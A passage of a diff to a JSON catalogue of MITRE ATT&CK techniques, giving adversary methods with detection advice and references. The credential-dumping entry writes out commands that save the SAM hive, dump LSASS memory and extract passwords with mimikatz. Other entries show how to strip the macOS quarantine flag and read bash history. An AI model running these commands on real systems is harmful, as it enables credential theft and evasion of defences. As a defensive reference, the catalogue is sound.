sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.[[Citation: Microsoft User Modified Event]] Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems.\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, API monitoring, Windows event logs", - "meta": { - "mitre_data_sources": [ - "Authentication logs", - "API monitoring", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1098", - "https://docs.microsoft.com/windows/device-security/auditing/event-4738" - ], - "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27" - }, - "value": "Account Manipulation" - }, - { - "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.[[Citation: MSDN Authentication Packages]]\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs", - "meta": { - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1131", - "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", - "https://technet.microsoft.com/en-us/library/dn408187.aspx", - "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" - ], - "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d" - }, - "value": "Authentication Package" - }, - { - "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Authentication logs, Binary file metadata", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process use of network", - "Packet capture", - "Network protocol analysis", - "File monitoring", - "Authentication logs", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1108", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a" - }, - "value": "Redundant Access" - }, - { - "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow compatibility of programs as Windows updates and changes its code. For example, application shimming feature that allows programs that were created for Windows XP to work with Windows 10. Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses API hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDll), and intercept memory addresses (GetProcAddress). Utilizing these shims, an adversary can perform several malicious acts, such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available[[Citation: Black Hat 2015 App Shim]]:\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Loaded DLLs", - "System calls", - "Windows Registry", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1138", - "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf" - ], - "uuid": "1e16e6fe-c0d9-4d9a-b112-9ac5ce3bdfdc" - }, - "value": "Application Shimming" - }, - { - "description": "Adversaries may steal the credentials of a specific user or service account using [[Credential Access]] techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.[[Citation: TechNet Credential Theft]]\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise.[[Citation: TechNet Audit Policy]] Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator", - "meta": { - "mitre_data_sources": [ - "Authentication logs", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1078", - "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "https://technet.microsoft.com/en-us/library/dn535501.aspx" - ], - "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81" - }, - "value": "Valid Accounts" - }, - { - "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network.Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs\n\nContributors: John Strand", - "meta": { - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1110", - "http://www.blackhillsinfosec.com/?p=4645", - "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", - "https://en.wikipedia.org/wiki/Password%20cracking" - ], - "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd" - }, - "value": "Brute Force" - }, - { - "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check[[Citation: Methods of Mac Malware Persistence]]. The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app [[Citation: Clearing quarantine attribute]][[Citation: OceanLotus for OS X]].\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the url where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application [[Citation: Bypassing Gatekeeper]].\n\nDetection: Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: MacOS, OS X", - "meta": { - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1144", - "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", - "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" - ], - "uuid": "05886665-fc7e-4a3d-847f-500e0112aac7" - }, - "value": "Gatekeeper Bypass" - }, - { - "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials.[[Citation: External to DA, the OS X Way]]\n\nDetection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1139", - "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" - ], - "uuid": "2f54ae97-ac8b-4401-85ed-215cfa0a380f" - }, - "value": "Bash History" - }, - { - "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Sensor health and status, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Sensor health and status", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1054" - ], - "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df" - }, - "value": "Indicator Blocking" - }, - { - "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information [[Discovery]] or [[Lateral Movement]], which could be used as event indicators that point to the source file.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X", - "meta": { - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1009" - ], - "uuid": "519630c5-f03f-4882-825c-3af924935817" - }, - "value": "Binary Padding" - }, - { - "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API.[[Citation: MSDN Clipboard]] \n\n===Mac===\n\nOSX provides a native command, pbpaste, to grab clipboard contents [[Citation: Operating with EmPyre]].\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring", - "meta": { - "mitre_data_sources": [ - "API monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1115", - "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/", - "https://msdn.microsoft.com/en-us/library/ms649012" - ], - "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f" - }, - "value": "Clipboard Data" - }, - { - "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", "Process command-line parameters", - "Binary file metadata" + "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "Windows", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1002", - "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" - ], - "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + "https://attack.mitre.org/techniques/T1002", + "https://en.wikipedia.org/wiki/List_of_file_signatures" + ] }, - "value": "Data Compressed" + "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "value": "Data Compressed - T1002" }, { - "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped.Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective DLL Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,[[Citation: Powersploit]] which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring, PowerShell logs, Process command-line parameters", + "description": "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n### Windows\n\n#### SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n#### Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n \nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS from Domain Controller\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n#### Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n\nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n#### Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n\nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n#### DCSync\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n### Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.", "meta": { + "external_id": "CAPEC-567", + "kill_chain": [ + "mitre-attack:credential-access" + ], "mitre_data_sources": [ "API monitoring", "Process monitoring", @@ -3223,120 +7276,1111 @@ "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows", + "Linux", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1003", - "https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa", - "https://github.com/mattifestation/PowerSploit" - ], - "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + "https://attack.mitre.org/techniques/T1003", + "https://capec.mitre.org/data/definitions/567.html", + "https://github.com/mattifestation/PowerSploit", + "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", + "https://adsecurity.org/?p=1729", + "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump", + "https://msdn.microsoft.com/library/cc228086.aspx", + "https://msdn.microsoft.com/library/dd207691.aspx", + "https://wiki.samba.org/index.php/DRSUAPI", + "https://source.winehq.org/WineAPI/samlib.html", + "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", + "https://msdn.microsoft.com/library/cc245496.aspx", + "https://msdn.microsoft.com/library/cc237008.aspx", + "https://github.com/Neohapsis/creddump7", + "https://en.wikipedia.org/wiki/Active_Directory", + "https://msdn.microsoft.com/library/cc422924.aspx", + "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", + "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/", + 